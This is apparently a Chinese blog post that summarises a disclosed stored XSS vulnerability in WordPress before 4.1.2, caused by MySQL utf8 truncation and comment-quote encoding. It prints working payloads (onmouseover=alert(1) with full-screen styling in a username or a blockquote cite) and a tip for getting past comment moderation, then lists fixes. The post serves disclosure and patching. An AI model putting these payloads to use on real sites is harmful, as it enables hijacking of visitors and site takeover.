WordPress < 4.1.2 版本存在XSS漏洞,攻击者可通过此漏洞获取网站权限

来源:https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2/

tldr; mysql → special characters → truncation → input validation → output sanitisation → xss → time to update WordPress.

Mysql 截断

Mysql utf8 字符集只支持到3字节的字符,如果插入4字节的字符,默认配置下的mysql会截断字符。Mysql strict mode可以解决这个问题,默认为开启。

· Example (before insert): ex�tic· Example (after insert): ex

WordPress

WordPress评论支持html标签,

· A nice user could comment: <abbr title=’Web log’>blog!</abbr>· A not so nice user could comment: <abbr title=’Web�log’>blog!</abbr>

两种评论都可以通过wordpress的输入验证,而第2种会保存为

<abbr title=’Web

输入被截断了。

如果用户插入这样的用户名:

cedric’ onmouseover=’alert(1)’ style=’position:fixed;top:0;left:0;width:100%;height:100%’

最终输出的是,

<div class=”comment” id=”comment-1″><div class=”comment-author”>Testing</div><div class=”comment-content”>

<p>

<abbr title=’Web

</p>

</div>

<div class=”comment” id=”comment-2″>

<div class=”comment-author”>

cedric’ onmouseover=’alert(1)’ style=’position:fixed;top:0;left:0;width:100%;height:100%’

</div>

<div class=”comment-content”>

<p>

Injected

</p>

<div>

</div>

整理一下

<abbr title=’Web……cedric’ onmouseover=’alert(1)’ style=’position:fixed;top:0;left:0;width:100%;height:100%’>

这样,就跨站了。

输出过滤

上面的利用比较复杂,还存在另外一种方式。

当评论中含有newline时,quote会被编码为

如果我们输入

sometext<blockquote cite=’x onmouseover=alert(1) style=position:fixed;width:100%;height:100%;top:0; �’>

最终会得到,

<blockquote cite=&#8220;x onmouseover=alert(1) style=position:fixed;width:100%;height:100%;top:0; …>

074939tWA

利用

陌生用户的第一条评论需要审查,如果用户发一条正常的评论,等待评论通过。这样后面的评论就可以直接通过,不需要审查就可以xss了。

解决办法

尽快升级到4.2版本(当前最新)。

如果不能升级,请将mysql字符集设置为latin1.

或仔细审查评论。

5 thoughts on “WordPress < 4.1.2 版本存在XSS漏洞,攻击者可通过此漏洞获取网站权限

    • Hello! Do you know if they make any plugins to assist with Search Engine Optmnizatioi? I’m trying to get my blog to rank for some targeted keywords but I’m not seeing very good results. If you know of any please share. Appreciate it!

发表评论

电子邮件地址不会被公开。